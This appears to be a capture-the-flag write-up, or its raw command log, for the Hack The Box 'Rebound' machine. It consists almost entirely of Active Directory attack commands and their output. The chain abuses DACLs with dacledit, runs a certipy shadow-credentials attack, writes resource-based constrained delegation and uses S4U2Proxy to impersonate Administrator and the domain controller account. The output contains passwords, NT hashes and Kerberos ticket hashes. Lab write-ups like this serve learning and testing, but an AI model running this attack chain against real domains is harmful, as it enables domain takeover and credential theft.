(impacket-fork) [root@kali ~ ]$ dacledit.py rebound.htb/oorend:'1GR8t@$$4u' -k -dc-ip 10.10.11.231 -action write -rights FullControl -inheritance -principal oorend -target-dn "OU=Service Users,DC=rebound,DC=htb" -use-ldaps /root/impacket-fork/bin/dacledit.py:4: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html __import__('pkg_resources').run_script('impacket==0.10.1.dev1+20231106.134307.9aa93730', 'dacledit.py') Impacket for Exegol - v0.10.1.dev1+20231106.134307.9aa93730 - Copyright 2022 Fortra - forked by ThePorgs
[-] CCache file is not found. Skipping... [*] NB: objects with adminCount=1 will no inherit ACEs from their parent container/OU [*] DACL backed up to dacledit-20240406-043124.bak [*] DACL modified successfully!
λ ~/hackthebox/machine/rebound/ certipy-ad shadow auto -u oorend@rebound.htb -p '1GR8t@$$4u' -account winrm_svc -target dc01.rebound.htb -dc-ip 10.10.11.231 -k Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Targeting user 'winrm_svc' [*] Generating certificate [*] Certificate generated [*] Generating Key Credential [*] Key Credential generated with DeviceID '9f14b32c-1290-2a13-ef11-ae83e76fe810' [*] Adding Key Credential with device ID '9f14b32c-1290-2a13-ef11-ae83e76fe810' to the Key Credentials for'winrm_svc' [*] Successfully added Key Credential with device ID '9f14b32c-1290-2a13-ef11-ae83e76fe810' to the Key Credentials for'winrm_svc' [*] Authenticating as 'winrm_svc' with the certificate [*] Using principal: winrm_svc@rebound.htb [*] Trying to get TGT... [*] Got TGT [*] Saved credential cache to 'winrm_svc.ccache' [*] Trying to retrieve NT hashfor'winrm_svc' [*] Restoring the old Key Credentials for'winrm_svc' [*] Successfully restored the old Key Credentials for'winrm_svc' [*] NT hashfor'winrm_svc': 4469650fd892e98933b4536d2e86e512
getST.py rebound.htb/delegator\$ -hashes :43e9069a73081ecfcbe1514e1d4e3bc8 -dc-ip dc01.rebound.htb -spn http/dc01.rebound.htb -impersonate Administrator [-] CCache file is not found. Skipping... [*] Getting TGT for user [*] Impersonating Administrator [*] Requesting S4U2self [*] Requesting S4U2Proxy [-] Kerberos SessionError: KDC_ERR_BADOPTION(KDC cannot accommodate requested option) [-] Probably SPN is not allowed to delegate by user delegator$ or initial TGT not forwardable
describeTicket.py Administrator@delegator\$@REBOUND.HTB.ccache [*] Number of credentials in cache: 1 [*] Parsing credential[0]: [*] Ticket Session Key : 997cb2bd199848c134a230582eed4046 [*] User Name : Administrator [*] User Realm : rebound.htb [*] Service Name : delegator$ [*] Service Realm : REBOUND.HTB [*] Start Time : 05/04/2024 09:28:48 AM [*] End Time : 05/04/2024 19:28:48 PM [*] RenewTill : 06/04/2024 09:28:46 AM [*] Flags : (0xa10000) renewable, pre_authent, enc_pa_rep [*] KeyType : rc4_hmac [*] Base64(key) : mXyyvRmYSME0ojBYLu1ARg== [*] Kerberoast hash : $krb5tgs$18$USER$REBOUND.HTB$*delegator$*$d18681bc307159d28a5dee77$7388dbaa197ffb2c1c1d8fd0f66364f10d54f413d38d3dc8d76ee15a5fdb14f368832fd07079a98621e71c5de8584afba4addd907407e91b47b5f972f16256e141a2902f4803b8df99e7d8713ea1026686e49402230b49657b52300b6b00e38c19a26f7054989a27bfee94a3622f60c60bf21f3440698689830991cc6743f4473ba341256d591b90f09f2a147db51c00fe30d5d71f2f1c26b206ca6dd1bc6c3f4d41c07ef872bbf6b8be34c811bb0dfde8de758fc257db360aa0cbcff89fd5b0b5bc7c62995e7725c87d3f9c9c87c7069d5b062ae171b545adbcf0bafea6433e52b7f24c6154e19728d71e72a9ea3c55eaa2091b4077ca4e194eac85bc5d1c1efda65dda0988d8c19d2df63641c0a170d196a01d66f6b911bf130265c0a89d59877f73a35f4a3ef417e4042c0dd47e1a7b9a75d5bc125e1501ab3a224ca5e6580f0940846a0cdc8bf68574ac5dac01efcaf937dabf57d65cf1399fd92909a5cb111e78ef4478cab989636d15fc07c04810c9b139f489331272b9155fc82b9c40a870e0076b688afbb08fb51277bed2279f71c62c97512ef56a090fd9149475e0184d3eb29ea33ce931067d84f570cd62dcfa3033dcf98aa9c8c59f3d412d11a962c69d8d9c9a488e3d4c118545e4f51d87906856632972362000b7d4ad71f8046c33e54f79db516c2e044fe79ed022dd649ae787c61931d8f549574200f127bdbfccf8f005316f2a71dac848df0a7e3571435341c014cb5b163e0e70e6de510858b0cf0341e535b3d9002fc06bea908cc8900cfa697f3b3c24aa765dd3b8b875a0d1a4b2c043943790ce88e4159c741b813ee504e044cda8cecdcb8557d09b6e6b9bb2179b83e12aa2e8f06abc9f7b237c9e77f232a40e7666731ebfaa6abf7152316df6437c718f654abe40f20c13252b579a791e7e0857e70c6919f41ae2678f93cab5b8fe472b14aff3a7cd3c8889e2b349a4831933d70ed202f4597bc8a00dfcc3d59b4eed91147b57fc732ebf62924139ec7312d4b5b5fe763d825fabf0a84ecd0ae297088ff4a9f9d8aa6879bd201f9d0cac32fc30c09016a5c3a34af261c3795adf847215f6ca4b454b4ff7b7e806d93880ffb443e8e3f51107527568c6248f0e759bf0a7c4ae614c1820c6125a709bede1d079b52f05d7f0456f825a4be8c8f6b62a6ce574b961297c945e736c564adeb8199c7bc9357e518851c6bac3a4e4322f1e3e6592d478b939189cc99b04170a62d5c867f3d0a5b506f0976b29b4aa30ef162e2dee75e4dd954f3913942ad182b73eebb929cbb65209ba53592f49a3024bab27df53f67310b8eef75acebcf26640206172b4681245f7ea1cc3b102c00dbed784ca31de4f172acb6ce5fe139c3c2e8f616583d25f7281cb008831cb1e3b6f02f7511ca3ec678fb8100425d0966a2f9a7d28ac9ecd5bdf52b3da64e90a86b95cabf1df30d7d61522fb1f5b663932275e91aa735975f445650b92cd58a16f1cd4f6e25420be34afd0a80a749419ccb720dc597de33812d188b0fa7a883766025e7f6e8ca032917404ca38b2de787fc348995cb4bade6881279672e475d3874851d9c07480914221fd57f102e2c6609edf799ce8eb19b81870326a58167515008dbdc7d6 [*] Decoding unencrypted data in credential[0]['ticket']: [*] Service Name : delegator$ [*] Service Realm : REBOUND.HTB [*] Encryption type : aes256_cts_hmac_sha1_96 (etype 18) [-] Could not find the correct encryption key! Ticket is encrypted with aes256_cts_hmac_sha1_96 (etype 18), but no keys/creds were supplied
rbcd.py rebound.htb/delegator\$ -hashes :43e9069a73081ecfcbe1514e1d4e3bc8 -k -delegate-from ldap_monitor -delegate-to delegator$ -action write -dc-ip dc01 -use-ldaps [-] CCache file is not found. Skipping... [*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty [*] Delegation rights modified successfully! [*] ldap_monitor can now impersonate users on delegator$ via S4U2Proxy [*] Accounts allowed to act on behalf of other identity: [*] ldap_monitor (S-1-5-21-4078382237-1492182817-2568127209-7681)
describeTicket.py DC01\$@browser_dc01.rebound.htb@REBOUND.HTB.ccache [*] Number of credentials in cache: 1 [*] Parsing credential[0]: [*] Ticket Session Key : 767d153d636e861400de859c0d561ba9 [*] User Name : DC01$ [*] User Realm : rebound.htb [*] Service Name : browser/dc01.rebound.htb [*] Service Realm : REBOUND.HTB [*] Start Time : 05/04/2024 09:45:34 AM [*] End Time : 05/04/2024 19:45:33 PM [*] RenewTill : 06/04/2024 09:43:52 AM [*] Flags : (0x40a10000) forwardable, renewable, pre_authent, enc_pa_rep [*] KeyType : rc4_hmac [*] Base64(key) : dn0VPWNuhhQA3oWcDVYbqQ== [*] Kerberoast hash : $krb5tgs$18$USER$REBOUND.HTB$*browser/dc01.rebound.htb*$8a9675ea512659235df48421$7458895533348641c64dc62d133e5e03b4884970efdc309d94bd69c6048ee1e41fc7223cbaa570d0dbaa677985115f8b10153b4e08f299f5e5625fbb8d280a8226ab6ec8aeec14a9cde49902c9441dfee71e0fc38bd342d8af61593edd951f1d9d05499e5c01bd3fbeab18cbdc7876a6a189fa7c853d944d6057312d52a53bbe294b2191211a247c198abd00bb95152f74b8b1488c343a381d28ced950705b379ada4cf2d433e87ecfc34dbc29026cc05042e81933a1221781064d17ffae974ac83038236a17cee8151eab2e11014a90deca09b7e05632d564728c489add0fc6f68b8bd0ab425e1f3a891d38f47e3bf61d07dc1a1e7211080b0ad1211eb5543455235dd9f01da926c249480fb8b195346cedba939a5ba9239f9f8c6d270524d6e5b1aad7aa8fb8488c75964ffc964098b60c212658725e85bea570c88396551e23e0af1f19f7042bfa38db3fb4f3ee87efca16931f7cdf05a5179d264b1d63addd312325d1012e2106d305aeecdc8e645eaa089890b37b0f44d615a547b0049bc2f4618e63ea9653437c5c18f16c115f106ef259d1800429d1302ccfef6c2392636a571789f83fd56596b776efbd784d0153beb770ae6eee1771fbb561c079803c5a56a0026946ecc88c730647df64968d65f6b91f6a096657e439e73c7145df53fc7e7ab8ead89ebdcf52952cd42f5e6a5496aaf3a1c3142ad719687769ec44de969223c94fe0990e9fe3f73e71fbd99cfff2f0a6c609a0a08c325ddbef586a1d4c88f5f648dcfe4390565f4ada6a13805152b247837cd2cac7adc98b1b4bd755829566896aea34e12f35ae6bd4f9ed29bc7849d998168e7a7ce3f67f6ba0ed6faf6a85c80e180234ef34d106ea7cdcdd45749849ada99ddc2e0e9584473cf69c785016d59df543965feaefaf254a621faa1a5dd4e8a397c1a70baae027c6e5d69bf934dd873566dbe6857b96450cae2a8e3ccdafa7d6550f3ebad667a3d1f4bd5a95729a817907d3246c34da60ff1ee54d31592e9e2c006feb485db8cde5ada3ef04dba13522409acbc835b2d66017f6366e27dfa487b1d15c634ef03446c7f0baf1b4e106161242c45704f026a1ed95207c6bdce5842d8ab9ab7606841a6c632140d4e543bf8d8a696d0960db0799ff19e4148294ef6d47be90c18d5c66fa69e69ea48390b73e2981d8d9146f5788c4d2bfe9ffb5498b75dcef923202fc8da417003280a27797ea0e5d6592cc0419f500df5cf6188d20be4b7d909ec3d137366da5ccc0d1a58b8a1a73bcdfc64d602ffa91d72c0438364ca56b195f8f5beed6f6f1720184ce553341b12cde0291eb24c6e8c5d96d186bbedcdff254673c3b4de709f3f6d3c27aabbb45c5779d223eb81e5b97fd7da406226d7012d5b1e350fe9f73b133dde5777efb7781b1b7759ccc8b8b3af0574d16ffd1a0ea0121973b3fd0129b07a0b4034163212242f5b429e9b562c4f9d6f69c91e1990701625d7afbc7624b70bc54d92040a9a02e0d5aab61abd85462a74624d35a25f1774df006705c7ffae4f8158f5c8a70e19b81f8b93ca2b9d0d50d193f462a80d1cc2cb6dd6f2efc96667ac1ce796e13ff721d7dd812efc9ec993fa99b2af0b7321fa4bc35ddc072caf2d2bf5aff6b9d2249490a2c97fbae72f66d4948f1aab10a15fc161a92e0a873136a1c581083c0b18c7cdbe8c13a2708e9f8f5e4f5bc389b9b808f98dcb25fdb80ca593049b6497819610cce55a755d568ab52253e563b7aa8e42dc4b5f659937188989582191a97652beff2eac4bf0bf5d064f1d29c2b662751ede388 [*] Decoding unencrypted data in credential[0]['ticket']: [*] Service Name : browser/dc01.rebound.htb [*] Service Realm : REBOUND.HTB [*] Encryption type : aes256_cts_hmac_sha1_96 (etype 18) [-] Could not find the correct encryption key! Ticket is encrypted with aes256_cts_hmac_sha1_96 (etype 18), but no keys/creds were supplied
完成攻击
1 2 3 4 5 6 7
getST.py rebound.htb/delegator\$ -hashes :43e9069a73081ecfcbe1514e1d4e3bc8 -spn http/dc01.rebound.htb -additional-ticket DC01\$@browser_dc01.rebound.htb@REBOUND.HTB.ccache -impersonate DC01$ [-] CCache file is not found. Skipping... [*] Getting TGT for user [*] Impersonating DC01$ [*] Using additional ticket DC01$@browser_dc01.rebound.htb@REBOUND.HTB.ccache instead of S4U2Self [*] Requesting S4U2Proxy [*] Saving ticket in DC01$@http_dc01.rebound.htb@REBOUND.HTB.ccache